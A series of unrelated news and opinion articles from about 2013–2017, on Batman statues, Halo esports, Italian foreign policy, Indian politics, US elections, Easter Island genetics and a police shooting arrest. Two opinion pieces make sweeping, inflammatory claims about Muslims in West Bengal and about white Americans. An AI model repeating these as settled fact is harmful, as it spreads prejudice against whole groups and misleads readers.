interpretations of Batman to life with a unique, monotone approach. The statues are fairly small (roughly the same scale as DC's action figures), but they're also a heck of a lot cheaper than most other Batman collectibles.  Easily one of DC's finest efforts so far has been the Jock statue, based on the artist's collaboration with Scott Snyder for the "Black Mirror" storyline. The dynamic pose is a far cry from the usual crop of statues depicting Batman looming or getting ready to throw a Batarang. With the billowing cape and twisted grappling cable, there's a real sense of motion to this piece. It has a presence that goes above and beyond most of the B&W pieces. And it's always nice to see a statue depicting Dick Grayson as Batman for a change.  8 Hush: Batman and Catwoman Kiss Statue  Batman statues based on Jim Lee's artwork are nothing new at this point. But this most recent Hush statue is easily one of the best and most faithful to Lee's art. The statue is closely based on Lee's splash image depicting Batman and Catwoman's passionate kiss. Thanks to Tim Bruckner's top-notch sculpting, every fold of Batman's cape and bulge of his muscle has been faithfully translated to 3D form. Even the billowing fog of the Gotham night has been included.  It's tough to understand just how impressive this statue looks until you see it in person. The enormous base and the fact that you're essentially getting two statues in one help make the $250 price tag more palatable.  7 Detective Comics #38: Batman and Robin Statue  All of our picks so far have been devoted to more contemporary interpretations of Batman, but there have been some great retro-style statues as well. Perhaps none is better than this piece, which adapts the iconic cover to Detective Comics #38 and celebrates Robin's very first appearance.  In some ways, it's much more difficult to translate the work of Golden Age artists to 3D than it is more modern creators like Jim Lee, but Tim Bruckner delivered another winner with this sculpt. Bob Kane's cover is elegantly brought to life, and the image of Robin leaping onto the stage offers a striking design to add to your Batman collection. The various Robins aren't terribly well represented in statue form, but at least the Dynamic Duo have this piece to celebrate their partnership.  6 The Dark Knight Returns: Call to Arms Statue  As you might expect, several companies focused a lot of attention on The Dark Knight Returns-themed collectibles in 2012 and 2013 with the release of the two-part animated movie. But of all those pieces, it's hard to top DC's Call to Arms statue for presence and sheer novelty. How many other statues depict Batman atop a majestic steed?  The Call to Arms statue is easily one of the best attempts at capturing Frank Miller's distinctive art style. This Batman is grim, gritty, and bulging with muscle and sinew. But it's the horse that takes the piece to another level. It gives the piece mass, making it easily one of DC's larger Batman statues. And it tells a story of Batman charging into battle and rallying an army to save a powerless Gotham City.
-With the dust settled on an incredible Halo World Championship 2017 Finals, we’re excited to begin the next chapter of the Halo Championship Series. The HCS Summer 2017 Season is shaping up to be another landmark moment in Halo esports, and we couldn’t be more eager to get the next evolution underway. Today, we’re excited to discuss a few details for the North American Pro League, with more details on Europe, DreamHack, Open Circuit, Last Chance Qualifiers, and gameplay settings on the way.  The return of the HCS Pro League is nigh upon us, ushering in yet another epic season of top-flight competitive Halo play through awesome open events in destinations like Daytona, Atlanta, and Denver, positioned alongside riveting online matchdays – all of which will showcase the top pro and amateur Halo teams and players fighting for both gain and glory.  Last week, we released the opening salvo of details for brand new settings coming to Halo 5 HCS play, and just yesterday, we released version 1 of these settings in the HCS Summer Preview playlist. All along the way, we’ve been hard at work analyzing and incorporating feedback from vital sources with the aim to create the most competitive and rewarding Halo 5 esports experience yet, for both players and spectators alike.  NA Pro League  NA Pro League action returns on Thursday, May 24 at 4:30 PT! Tune in each week on Wednesdays and Thursdays on beam.pro/Halo and twitch.tv/Halo to see the best teams in the world duke it out against one another. The season will culminate in an open final championship event at DreamHack Atlanta, with all pro teams – and plenty of hungry amateur squads – fighting for not only Pro League spots via the Open Bracket, but also a top finish in the Championship Bracket. That’s right - based on community feedback, this means that now any team in the open bracket can compete at the finals event and vie for the HCS Summer Season 2017 title alongside pro teams.  We’re looking forward to this brand-new format, and hope you’ll be joining us for the epic open finals at DreamHack Atlanta.  Following the HCS Pro League Fall 2016 Season and Halo World Championship 2017, here is the North American Pro League lineup:  OpTic Gaming  Team EnVyUs  Team Liquid  Str8 Rippin  Luminosity Gaming  TMMT Crowd Pleasers  Evil Geniuses  Winner of the Pro League LCQ  With one last Pro League spot remaining, it’ll all come down to the HCS Pro League LCQ. We know many teams are anxiously awaiting these details, and we’re working with partners to lock down specifics and announce final details as soon as possible – stay tuned for LCQ info this coming week. The competition will be fierce, and we can’t wait to see who will take the final spot.  Summer 2017 Finals at dreamhack atlanta  Following the regular season, the top six North American Pro League teams will head to the DreamHack Atlanta open Championship event as they auto-qualify for the Championship Bracket. This year, though, pro teams won’t only have to worry about their peers, but also top amateur teams looking to make a statement. The top Open Bracket rosters will advance to the Championship Bracket to compete for the Finals prize pool of over $100,000, with the final prizing determined by additional crowdfunding.  The seventh and eighth place North American HCS Pro League teams will be given preferential placement in the Open Bracket, and all eligible teams in the Open Bracket will challenge them for the two available Pro League spots. The top two North American Open Bracket teams will earn a spot in the NA Fall 2017 HCS Pro League season.  Be on the lookout for more details on the DreamHack finals event as the event approaches.  Looking ahead to Fall 2017  After the summer action concludes and the Pro League lineup is set, the HCS Pro League Fall 2017 Season will kick off on August 23 and conclude with another open finals championship event at DreamHack Denver from October 20-22.  With all this in mind, it’s an understatement to say how eager we are to get things kicked off down in beautiful and sunny Florida with HCS Daytona, May 12-14. The action kicks off on Friday, and you can be part of it all be purchasing tickets to the event here, or tuning in online at beam.pro/Halo or twitch.tv/Halo.  And don’t forget, you can test your own skills alongside the rest of the world by jumping into the HCS Summer Preview playlist in Halo 5 right now to try out version 1 of the Summer Season settings. Who knows, maybe you’ll discover you’ve got what it takes to be raising that championship trophy next year…  Stay tuned for more information on the Europe, DreamHack Championship Event, Open Circuit, settings updates, and more.  We’ll see you on the battlefield, Spartans.
-Strategic Europe continues its series devoted to explaining the foreign and security policy ambitions of the 28 EU member states. We have asked our contributors from each capital to give a candid assessment of their country’s perception of security and strategy, with a ranking on a scale from 0 (the laggards) to 5 (the ambitious). This week, the spotlight is on Italy.  *  When in 2014 the Italian government firmly endorsed the country’s former foreign minister Federica Mogherini as the EU’s new foreign and security policy chief, Rome was making a significant political statement: Italy’s commitment to a stronger international role for the EU is a central national interest.  This would in theory earn Italy the highest rank for its foreign policy ambition: 5 out of 5. And yet, in the context of a fragile common EU foreign policy, Rome’s devolution to Brussels is often illusory: in some cases, Italy’s EU-centric approach dashes expectations, while in others, it is bypassed by purely national initiatives. Thus, this theoretical score actually becomes 4 out of 5 in terms of practical results.  Let us look at the heated case of migration. The determined way in which Mogherini is now trying to coordinate the EU’s response to the issue of Mediterranean migration—itself a top national priority for Italy—confirms the importance of the link between Rome and Brussels. The reality, however, is that the European Commission’s proposals on this issue (first and foremost, the relocation of some of the refugees within the EU) have been emptied of much of their significance by national vetoes.  In connection with the external dimension of the migration challenge—most urgently, how to deal with the security situation in Libya, the country through which many of the migrants travel—a similar dynamic emerges. In theory, the EU is ready to do more, including a potential Common Security and Defense Policy mission. But in concrete terms, given the absence of a UN Security Council mandate to back up such a mission, nothing has been done apart from bolstering the EU’s existing Triton border patrol operation.  Critics would say that in seeking greater European solidarity, Italy is simply interested in sharing the pressures of migration. This may be true, but it’s not the whole truth. Italy genuinely believes that its national interests in the Mediterranean coincide with what is best for Europe—if only the EU were able and willing to update its view of European security interests.  Rome is exercising a kind of moral suasion with its EU partners by bringing the Mediterranean to the forefront of their agendas. Yet Italy is also proposing to play a major direct role in the above-mentioned EU security operation in Libya, including a command role. In a nutshell: by playing the EU card, Italy is not trying to shirk its responsibilities, as it has sometimes done in the past. Yet, precisely in connection with Libya, Italy’s plans remain too vague to be fully credible.  Thrashing out an intra-EU agreement in support of Italy’s aims is going to require a deal on two fronts: on the one hand, Italy will need to secure the solidarity of other member states vis-à-vis the Mediterranean challenge; on the other, Rome will have to lend its support to the EU’s common position on Ukraine and Russia. Here, Italy’s level of ambition is relatively low, given the defensive posture adopted by Rome.  #Rome is exercising a kind of moral suasion with its EU partners. Tweet This  Italy has a skeptical view of the EU sanctions against Russia and does not like the ad hoc format of the union’s dealings with Moscow on the Ukraine crisis; yet Rome is not going to break ranks with the EU. The Italian government also believes that (re)engaging Moscow at various levels is a useful and necessary way to maintain some degree of influence over Russia’s evolution and to fully involve the country in the struggle against the self-styled Islamic State.  These trends were confirmed by Russian President Vladimir Putin’s visit to Italy on June 10. Despite the media fanfare and Italian businesses grumbling about the sanctions, Italian Prime Minister Matteo Renzi reiterated the G7 link between the Minsk II peace process for Ukraine and any future reassessment of the sanctions. The bottom line is that Italy’s margins for autonomous action are extremely limited, and its fundamental interests continue to require close coordination with those of Rome’s Western partners.  On a broader level in and around Europe, Italy’s view is that relations with the EU’s vast neighborhood should be differentiated and pursued by other means than just the accession process. And yet, where Serbia and even Turkey are concerned, Rome still perceives EU enlargement as a viable option—on paper, at least.  It remains true that, as in the past, Italy is seen as punching below its weight on the global stage. This reflects the constraints—particularly those of a budgetary nature—that affect Rome’s foreign and defense policies. Moreover, the political elite led by Renzi is absorbed mostly by domestic reforms.  #Italy is seen as punching below its weight on the global stage. Tweet This  This is why Italy’s long-standing readiness to contribute to EU stability and security missions begins and ends with Libya, with a prolonged presence in Afghanistan in the meantime. Aside from that, strategic prudence prevails, balanced by a more active economic diplomacy. Italy’s new defense white paper unveiled in April 2015 aims to offer a rationale for the country’s declining defense budget. That is—by definition—mission impossible.  Continuity prevails in Rome’s attempt to maintain a working balance between the European and transatlantic dimensions of Italy’s foreign policy, so that the two strands complement and reinforce each other. A clear case in point is the country’s commitment to a successful Transatlantic Trade and Investment Partnership (TTIP), despite the great complexity of the ongoing negotiations between the EU and the United States. Whenever EU solidarity and transatlantic cohesion pull in opposite directions, Italy risks being sidelined and weakened diplomatically.  A less traditional way to look at Italy’s foreign policy predicament is to consider that the country’s overall international stance is affected by the confluence of four contradictory dynamics that converge on its territory: migrants from the South; gas from Russia and, to a lesser extent, from the South; cash from China—not yet in any large measure, but at an increasing rate; and the U.S. military footprint, which is lighter than in the past, but still significant.  The main challenge for any Italian government is to manage these four simultaneous sources of pressure through consistent policies, and to turn these difficulties into assets—for Italy and for Europe. For the time being, the challenge is far more evident than the strategic answer.  Marta Dassù is editor in chief of Aspenia and senior director for European affairs at the Aspen Institute.
-They are crossing the border illegally and violently displacing the indigenous population whose homes and possessions they either destroy or occupy. They are attacking the young, the elderly, and especially the girls and women, whom they kidnap, forcibly convert, or traffic into brothels. The locals are terrified of them. The police rarely come to their aid, nor do the politically correct media or government. Both are terrified by the criminals and terrorists who are riding these immigrant waves.  I am not talking about illegal immigrants to Europe or North America. I am describing Muslims who are penetrating India’s West Bengal region. These Bangladeshi immigrants are becoming conduits for criminal activities (arms, drugs, and sexual slavery) which also fund global jihad.  You won’t read about this in the Western mainstream media—or even in the Indian media, which has turned a blind eye to this ongoing tragedy because they are afraid to be labeled “politically incorrect” or “Islamophobic.” They are also afraid of reprisals. When Islamic zealots ransacked the office of the renowned newspaper, ‘The Statesman’ in Kolkata, in retaliation for a mere reproduction of an article condemning Islamic extremism, the Indian press remained silent. The editor and publisher of the newspaper were arrested for offending Muslim sentiments and no action was taken against the rioters.  Fortunately, there are a few very brave Hindus who are taking a stand against the Muslim terror campaign in India. One of them is Tapan Ghosh, whom I had the privilege of meeting recently when he came to New York City to talk about anti-Hindu persecution in his homeland. In 2008, Ghosh founded “Hindu Samhati” (Hindu Solidarity Movement), which serves persecuted Hindu communities in both West Bengal and Bangladesh.  As Ghosh emphasized in our interview, the Muslim persecution of Hindus in India is nothing new. Over a period of 800 years, millions of Hindus were slaughtered by Muslims as infidels or converted by the sword. In 1946-1947, when British India was divided into India and Pakistan, Muslims massacred many thousands of Hindus in Calcutta, the capital of West Bengal, and all along the fault line which separated India and Pakistan. Anti-Hindu riots and massacres continued during the 1950s and 1960s, but it was in 1971, when East Pakistan broke away to form the country of Bangladesh, that things worsened for Hindus in the area.  As Ghosh explained to me, “The liberation movement for Bangladesh was characterized by an escalation of atrocities against the Hindus and pro-liberation Muslims. Hindus were specifically singled out because they were considered a hindrance to the Islamisation of East Pakistan. In March 1971, the government of Pakistan and its supporters in Bangladesh launched a violent operation, codenamed “Operation Searchlight,” to crush all pro-liberation activities. Bangladeshi government figures put the death toll at 300,000, though nearly 3 million Hindus were never accounted for and are presumed dead.” U.S. officials in both India and Washington used the word “genocide” to describe what took place.  According to Ghosh, there has recently been a sharp increase in incidents of “Muslim rioting during Hindu festivals, destruction of Temples, desecration of Deities, and large-scale, provocative cow slaughter.” Worse: “Hundreds, thousands, of Hindu girls have been kidnapped, trafficked into sexual slavery, or taken as second or third wives for wealthy Muslim men. In recent years, Ghosh’s organization has rescued nearly 100 such girls, and one of his main missions has been to help reintegrate those survivors into their families and societies.  Ghosh wants the Indian government to stop the illegal immigration from Bangladesh and to force the return of undocumented Muslims; to ban madrassas and polygamy; to enforce a single standard of law and education; and to arrest and prosecute known Muslim mafia kingpins and terrorists. He challenges the media to report on the anti-Hindu atrocities and to address the issue of religious apartheid.  Ghosh is not optimistic. “The establishment of massive Saudi-funded Madrasas across rural Bengal is only contributing to the growing religious extremism among Muslims, [and] implementation of Sharia laws by [Islamic] courts is quite prevalent in many villages.” His greatest fear, he tells me, is that one day shouts of “Allahu Akbar” will ring out across the land and that Muslim zealots will demand that Hindus either convert or leave West Bangal—or die.  Ghosh came to America not just to appeal to Indian-Americans with family and historical ties in West Bengal and Bangladesh but to appeal to all Americans for their support. As he sees it, the battle against Muslim persecution in India is just one front in a much larger battle against Islamic expansionism and terror throughout the world.  All Americans must realize, he told me, “that the war on Islamic terrorism cannot be won without curbing religious extremism amongst the Muslim masses, be it in the suburbs of Detroit or Delhi or villages in rural Bengal. And this will require the active support and cooperation with each other, ranging from cooperation at the highest level to those who work at the grassroots level. We hope that Americans and Westerners will come out and support the Hindus in Bengal in raising resources and creating awareness about our on-the-ground realities.”  Phyllis Chesler, Ph.D. is professor emerita of psychology and the author of thirteen books including "Woman’s Inhumanity to Woman" and "The New Anti-Semitism." She has written extensively about Islamic gender apartheid and about honor killings. She once lived in Kabul, Afghanistan. She may be reached through her website: www.phyllis-chesler.com.  The author would like to acknowledge the assistance of Nathan Bloom in the preparation of this article.  Fox News Opinion is on Twitter. Follow us @fxnopinion.
-India’s reaction to an Amazon website selling doormats resembling the country’s flag involved an unprecedented public and private offensive against the US company by Prime Minister Narendra Modi’s government, a document shows.  External affairs minister Sushma Swaraj publicly threatened in January to rescind visas of Amazon employees if the doormats were not removed from its Canadian website.  But a document seen by Reuters shows the government went even further in private, asking its US and Canadian embassies to raise the matter “strongly” with Amazon’s senior leadership.  India also escalated the matter to Amazon CEO Jeff Bezos and prompted a global audit by the company to “ensure that such products are not listed on any of its other” websites around the world, according to the document.  Amazon, which removed the products within 24 hours and apologised to the government, declined to comment.  Much is at stake for Amazon in India, where it plans to invest more than $5 billion as it takes on home-grown Flipkart and Snapdeal for a bigger share of the internet services market in the world’s fastest growing major economy.  Amazon has now made Indian laws that govern the use of the national flag and other emblems “an integral part of the global compliance process,” the document said, outlining the steps Amazon and India have taken since the incident.  India’s reaction underscores the risks governments run by nationalist leaders are posing for businesses around the world. US President Donald Trump, for example, has also taken an aggressive stance on Twitter against individual companies.  Last year, Modi presented a global leadership award to Bezos at a US-India Business Council summit in Washington.  Amazon told the government that it had strengthened its in-house compliance units that monitor products sold by third-party vendors on its websites, the document said.  “Amazon India has conveyed that it is fully committed to respecting Indian laws and customs,” the document said.  First Published: Mar 30, 2017 20:10 IST
-Nevada was the beginning of the end of the Democratic primary. Now that end looks very much in sight after Saturday in South Carolina. The state delivered the unequivocal victory the Clinton campaign has been waiting for – and provided further evidence that Sanders can’t match her in a diverse electorate.  As an exuberant Clinton took the stage in Columbia to shouts of “Hillary!” and “Madam President!”, she was beating her Democratic rival Bernie Sanders roughly three-to-one in the polls. It’s a loss the Sanders campaign can’t spin as anything but what it is.  In a state where 61% of Democratic voters are black, Clinton cast herself as the person best positioned to carry out the legacy of a popular Barack Obama, and played up her history of fighting to surmount the obstacles life throws in one’s way.  Hillary Clinton defeats Bernie Sanders to win South Carolina primary Read more  She led with a promise to help poor minority children in the so-called “corridor of shame”, a stretch of dilapidated schools along South Carolina’s I-95 corridor. That was something Obama made a benchmark of his 2008 campaign when he beat her in 44 of the state’s 46 counties.  Clinton is not making that mistake again – now it’s she who is at the forefront of the issue. “This victory tonight is for the parents and teachers in South Carolina. They showed me crumbling classrooms,” Clinton said to cheers. And she promised the federal government would work with state actors to give children the “education they deserve”.  But she also embraced her identity as a fighter, a role that she can inhabit with tremendous authenticity. “Let’s break down the barriers that sideline people in our country, especially women,” she said to a roaring crowd. “Don’t you think it’s time we had equal pay for equal work?”  She didn’t stop with surmounting barriers for women and children. She also called for “facing realities of systematic racism”. It’s something her Democratic opponent, who hails from one of the whitest states in the nation, has struggled to do convincingly. And it’s a message of dire importance in South Carolina, where race and class continue to inform educational and economic opportunity in profound and disconcerting ways.  “Let’s break down the barriers holding back our young people,” Clinton continued, as she veered into the topic of student debt. College students are a demographic Clinton has been losing handily to Sanders, but she quickly turned the topic to her plans to set aside funds for historically black colleges and universities, playing to her strength with minority students.  In a statement Saturday night, Sanders – who by the time results rolled in was already in the faraway, relatively friendly refuge of Minnesota – didn’t try to deny he’d been defeated handily. But he did try to pre-emptively combat the narrative that the primary may be winding down rather than up ahead of Super Tuesday.  “Let me be clear on one thing tonight,” he wrote. “This campaign is just beginning. We won a decisive victory in New Hampshire. She won a decisive victory in South Carolina. Now it’s on to Super Tuesday.”  But Sanders thus far has only been able to win in overwhelmingly white states, and there aren’t enough of them to propel him forward long-term. Wins in states like Vermont and Maine are no match for Clinton-friendly states like Texas, which has more delegates than many other states combined.  And Clinton, for her part, didn’t seem too interested in proving herself against Sanders, instead saving her fire for the man she seems increasingly likely to face in a general contest: Donald Trump. “Instead of building walls, we need to be tearing down barriers,” she said, in a not-so-subtle allusion to the wall Trump has campaigned on building between the US and Mexico.  At another point, she took a swipe at Trump’s trademark slogan. “We don’t need to make America great again. America has never stopped being great,” she said, adding: “We do need to make America whole again.” It’s a positive message which, in this election, is a rare commodity.  Clinton delivered a strong performance that proved her appeal to a multiracial America. Still, it’s too early to write off Bernie Sanders – he has, after all, already defied the pundits by getting much further than expected. And his campaign still claims he can chart a narrow path to victory by stringing together wins in smaller (predominantly white) Super Tuesday states like Vermont, Minnesota, Massachusetts, Colorado and Oklahoma. But his path to victory looks highly unlikely.  South Carolina was not the decisive nail in Sanders’ coffin – though that might not be far off. Rather, this was the contest in which Clinton found her stride. And that is just what she needed at this moment.
-Fall is one of my favorite seasons of the year. Perhaps it’s the gorgeous leaves, the steaming mugs of apple cider, or the fact that my fall fashion game is significantly tighter than it is in the warm seasons of the year. It’s also the season of festivals, football and state fairs (my personal favorite). These are all-American forms of entertainment. There is one consistent feature of these shared American amusements that we talk little about – the potential for and frequent enactment of white violence.  This past weekend, students at Keene State College in New Hampshire got, as one student put it, “way out of hand,” as they turned over a car and danced on top of it, threatened an elderly person, threw glass bottles, and popped fireworks. These violent white college kids were so unruly that the police had to come in riot gear and bring out tear gas, to quell the riots. One white female student reported feeling very unsafe. Why are these white kids so mad that they are terrorizing residents and destroying property? Should we be concerned about the fact that they seemed to really enjoy it? Is that sociopathic?  Advertisement:  It would be easy to talk about this Keene State College business as an isolated incident of drunken college students, getting “out of hand.” But that would be politically and culturally irresponsible, since this is after all #FergusonOctober. Several states over from New Hampshire, down in Missouri, citizens exercising First Amendment rights, citizens with righteous anger, who might get a “little out of hand” with an errant glass bottle or two, are met with a much larger show of force – tanks, tear gas, stun grenades. We’ve had no reports of Ferguson protesters threatening old people or threatening to kill the police. And thank God for that, because we would have witnessed a serious amount of bloodshed to go along with our protests if that had occurred.  But beyond #FergusonOctober, any person who has ever lived in a college football town knows exactly what Saturday nights after big games are like. My first academic job was in a college football town. When I arrived, my students instructed me of survival protocol for home games: “Get your food on Thursday night. When you go in the house on Friday evening, don’t come back out till Sunday.” Less a set of racial instructions, these were more pragmatic tips so that I didn’t find myself caught in the middle of town in a traffic jam caused by drunken revelers. Drunken white revelers.  On at least two occasions, one of my good friends, a fellow professor, called to say that she had come out to her car on a Saturday night in this college town to find a drunk college kid urinating beside her car. On both occasions, she weighed the benefits of confronting the drunk white guy blocking her access, or simply waiting till he had finished and moved on.  Implicit in her stories was a truth we refuse to tell: These young drunk white men were dangerous. Menacing. And they are made more dangerous precisely because their disrespect for public space and private citizens is seen as mere play, mere college kids having a good time, rather than as a threat.  But what the events in Keene suggest is that white folks often test the bounds and limits of public decency and order with little long-term reprisal. There were some arrests, and some tear gas. But no dead bodies. No stigma about white anger. No come to Jesus meetings about White America’s problem children. No public discourse about these “menaces to society.” As many commentators on Twitter pointed out, there’ll be no articles about the absence of white leadership, or about how white folks just need to learn respect for public property.  How does it feel to be white? Does it feel like freedom? Freedom to piss on people and property with impunity? Freedom to burn shit up and live to tell about it? Freedom to threaten old people and wake up the next morning and chalk it up to drunkenness? License to kill?  Advertisement:  This isn’t just about civility. This is, as are most things in this country, about stark and disparate forms of racial treatment. This is about the ways that white threat is largely illegible as “threat.” This is about the fact that a band of wild, drunken black college kids could not have turned over cars, threatened old people, and shouted about killing the cops and lived.  For instance, this is also black college homecoming season, and my alma mater Howard University canceled the annual free concert at the legendary Yard Fest this year, because there were a few issues with crowd control last year. The Yard Fest is the stuff of hip-hop legend, and it is the annual event that most alumni look most forward to participating in. But as a federally funded entity, Howard is hypervigilant about making sure campus events are models of black respectability. It cannot afford the public scrutiny if the event were to devolve into a cabal like that which occurred at Keene. So it canceled a portion of the event beloved by all of us, because any appreciable amount of black unruliness could be met with an unfavorable and devastating federal response.  It is an institutional example of how powerful systems of white supremacy are, how much those systems hold everyone from the most venerable black institutions to the most vulnerable black youth in their death grips.  In the midst of this, the Keene students have released a video of the positive aspects of the Pumpkin Festival. It’s filled with a merry band of white students throwing back cans of beer, white girls twerking, one token black girl surrounded (a bit uncomfortably) by her white friends, at least one shot of a white girl’s bare behind, and various forms of good ole American college fun, set to a Kanye West soundtrack.  Advertisement:  All it takes to redeem whiteness is a four-minute YouTube video. That there is an unself-conscious celebration of booze, sex, hip-hop and partying in this video attests to a particular kind of freedom that white folks have to conceptualize and think of youth as a time of rebellion, lawlessness and testing the boundaries.  If you’re black that kind of thinking is dangerous. If you’re black that kind of thinking will get you killed. And if you’re white, and you do the killing, you will most probably go free.  If we showed black people doing each and every activity in this video, it would be a testament to our lack of civilization, our utter ratchetness, and wretchedness. Black folks know how to have a good time, for sure. But we would never use our good time as a fodder for a racial redemption marketing campaign. No sane black person would ever think that was a good idea.  Advertisement:  Can you tell yet that I’m fed up? Fed up with white obliviousness. Fed up with “white” freedom, which seems very much to be euphemism for black terror. Fed up with American injustice. And yet wholly, visually convinced that racial injustice is as American as football, pumpkin patches, drunken white revelers and apple pie.
-Looking at a map, one would be challenged to find a more impressive place than Easter Island where people ventured without the benefit of modern navigation. Just three times the size of Manhattan, it is more than a thousand miles from its nearest island neighbor to the west and 2,200 miles from Chile to the east, yet people have lived there for more than 800 years.  Scientists have long wondered how early people sailed to the island — as well as how they built the island’s impressive Moai.  Genetic tests have shown that the modern Rapanui people have a mix of Polynesian, South American and European ancestry. Some scientists have used the modern DNA results to suggest that Polynesians from the west and native South Americans from the east lived and intermingled on the island before Europeans first arrived in 1722. And in the famous Kon-Tiki expedition, a Norwegian explorer named Thor Heyerdahl showed on a balsa wood raft how South Americans could have voyaged to the Polynesian islands during pre-Columbian times.  But that does not mean it was probable, according to Lars Fehren-Schmitz, a biological anthropologist from the University of California, Santa Cruz, and lead author of the study.  Using rib bones from five Easter Island individuals from 1445 to 1945 that had been excavated in the 1980s and stored in the Kon-Tiki museum in Norway, Dr. Fehren-Schmitz and his colleagues attempted to sequence the genome of the island’s earliest inhabitants. The team extracted enough useful genetic information from the remains to analyze and draw conclusions that could be representative of the larger ancient population.
-Hide Transcript Show Transcript  WEBVTT MARCIE?MARCIE: JANELLE, THE OFFICERSINVOLVED WILL TELL YOU IT TOOKHOURS OF INTERVIEWING PEOPLE WHOTHEY HAD TO TRACK DOWN WHO THEYSENT ME THE SUSPECT, BUT TODAYTHEY SAY THAT PAID OFF.IT WAS 5:00 HERE ON LADORA WAYA.M. WHEN NEIGHBORS TELL USSHERIFFS DEPUTIES AND SWAT TEAMMEMBERS BEGAN SHOUTING FORRAHMAEL HOLT TO COME OUTSIDE ANDFOR EVERYONE ELSE TO STAY INSIDETHEIR HOMES.RESIDENTS IN THE HAZELWOODNEIGHBORHOOD TELL US THEYWATCHED IN FEAR AS HOLT WASTAKEN INTO CUSTODY.THEY SAY THE SUSPECTED KILLERCAME OUTSIDE, LISTENED TOCOMMANDS, AND THEN OFFICERS SAYHE WAS HANDCUFFED WITH NEWKENSINGTON POLICE OFFICER BRIANSHAW'S HANDCUFFS.RESIDENTS TELL US IT HAPPENEDRATHER QUICKLY, BUT IT WASCERTAINLY SCARY.>> THEY WERE TELLING, GET BACKIN YOUR HOUSE, THEY ARE RUNNINGTHROUGH THE BACK DOOR.I WENT UP AND GOT THE GUNS OUT,JUST SITTING HERE IN THE LIVINGROOM JUST IN CASE.MARCIE: RAHMAEL HOLT IS NOW INTHE WESTMORELAND COUNTY JAILWITH NO BOND.HERE IN DOWNTOWN PITTSBURGH, IWANT YOU TO TAKE A LOOK AT THECITY-COUNTY BUILDING.THIS IS FOUR MILES FROM WHEREHOLT WAS ARRESTED, AND IT IS LITIN BLUE IN MEMORY OF BRIAN SHAW.  Advertisement Manhunt ends with capture of New Kensington police murder suspect at Pittsburgh home Police say Rahmael Holt is charged with fatally shooting New Kensington Police Officer Brian Shaw after running from a car during an attempted traffic stop. Share Shares Copy Link Copy  After a four-day manhunt involving several local and federal law enforcement departments, the suspect in the shooting death of New Kensington Police Officer Brian Shaw was taken into custody without incident early Tuesday morning.A SWAT team moved in on a house on Ladora Way, a short alley in Pittsburgh's Hazelwood section, and ordered 29-year-old Rahmael Holt to come out shortly before 5:30 a.m.They were coming from left, right, behind the house, sides of houses," witness Kristina Jackson said. "They were everywhere -- U.S. marshals, feds, everybody."Download the WTAE app to stay updated with breaking news alerts.Police have not said who lives in the home where Holt was found. An unidentified man was ordered to come outside with Holt, according to the witness."The officers told them to come to the doorway, and one guy came. He came off the porch. (An officer) told him to lift up his shirt and walk down the steps," Jackson said. "He lifted up his shirt, walked down the steps, and he told him, OK, get down the steps, lock your hands behind your head. He did that. They pulled him over to the side of the SWAT truck. The other guy came out, they told him to do the same exact thing. He did it, locked his hands, and they took him too.""I'm definitely relieved. It could have been way worse. If there was a lot of guns or anything, it could have been a very bad incident. Especially if he would have came out or resisted in any way shape or form, it could have been way worse."An FBI evidence response team spent hours searching the house after Holt's arrest. It was not clear if they found the gun that was used to kill Shaw.Holt, of Natrona Heights, was arraigned in front of New Kensington District Judge Frank Pallone and denied bond. He was taken to the Westmoreland County Prison to await a preliminary hearing on charges of murder of a law enforcement officer and firearms violations.During his arraignment, Holt said he wanted a private attorney. He did not respond to questions from reporters as police officers walked him out of the courtroom.Online dockets show that felony charges of hindering apprehension have been filed against Holt's mother, Sherry Holt, 47, of East Pittsburgh, and his cousin, Marcel Mason, and Mason's girlfriend, Aysa Benson, both 29 and of Duquesne. Police say all three were in contact with the suspect while he remained at large over the weekend.Immediately following Shaw's death, investigators were consumed with the task of finding Rahmael Holt. Police Chief Jim Klein said the department will now get back to normal business as it continues to deal with the loss of Shaw, 25, who had been on the force less than a year."I want the city of New Kensington residents to know that soon they will be seeing us back on the street," an emotional Klein said at a news conference announcing Holt's arrest. "We will be the ones coming to your door and knocking when you're reporting that barking dog complaint. We will be the ones coming and knocking on your door when you're reporting any type of incident going on in the city. We will be back."Police said that Shaw attempted a traffic stop on Leishman Avenue at about 8 p.m. Friday, which led to a foot pursuit of Holt, who they said was a passenger in the vehicle. Shots were fired during the foot chase, and Shaw was fatally wounded, police said.Westmoreland County District Attorney John Peck said Holt was fleeing toward a parking lot when he fired about six shots, and Shaw, wearing a bulletproof vest, was shot multiple times. It doesn't appear that Shaw returned fire, Peck said.The alleged driver, Tavon Harper, 27, left the scene and was later arrested at his home in New Kensington, police said. He faces drug and fleeing charges, but is not charged in connection with Shaw's death.A police procession escorted Shaw's body to Rusiewicz Funeral Homes of Lower Burrell, where visitation was scheduled for Monday and Tuesday. A funeral Mass was set for 10 a.m. Wednesday at Mount St. Peter Church in New Kensington."Thank you to the citizens of New Kensington. Our officers are dedicated to providing the best possible service to protect you and keep you safe," Klein said. "There is no better example than Officer Brian Shaw, who gave his life serving his community. I promise you that our officers will continue to serve with the same honor that Brian did, the same dedication and professional service that you guys expect and you guys will receive."
-ANALYSIS/OPINION:  If the Republicans in the U.S. Senate were a baseball team, they would be the 1962 New York Mets. The Mets won only 40 games that summer, losing 120, the most inept performance since 1899 when a team called the Cleveland Spiders also won only 40 games. As the Mets stumbled to the end of the disastrous season, their manager, Casey Stengel, cried out in desperate frustration: “Can’t anybody here play this game?”  Indeed, no one could, and the Republican senators can’t play their game, either.  Their manager, Sen. Mitch McConnell of Kentucky, threw up his hands Tuesday in Stengel-like frustration, after his last-ditch Hail Mary long-ball stratagem of repealing Obamacare without replacing it, failed, just as an earlier attempt failed to repeal and replace with a reasonable substitute.  These are the worthies who amused themselves over the eight Obama years by voting to repeal, with many brave and heroic speeches, when they had no prospect of repealing because the Democrats controlled the Senate and Republican boasts and votes were irrelevant. This enabled them to view with alarm knowing they would never have to come up with something to which they could point with pride. Sen. Lisa Murkowski of Alaska, one of the three Republican senators who went over the hill Tuesday to vote against Mr. McConnell and their party, gleefully boasted, in so many words, “I told you so.”  “I said back in January that if we are going to do repeal then there has to be replace,” she said. “There is enough chaos and uncertainty already.” So she, Sen. Susan Collins of Maine and Sen. Shelley Moore Capito of West Virginia added a little more chaos and uncertainty, just for good measure.  President Trump, taking unaccustomed care not to fire broadsides at anyone in his party, said Obamacare must collapse, as it is showing every sign of doing, before it can be replaced. “As I have always said,” he tweeted, “let Obamacare fail and then come together and do a great healthcare plan. Stay tuned!” (And this time only one exclamation point.)  “We were let down by all of the Democrats and a few Republicans. Most Republicans were 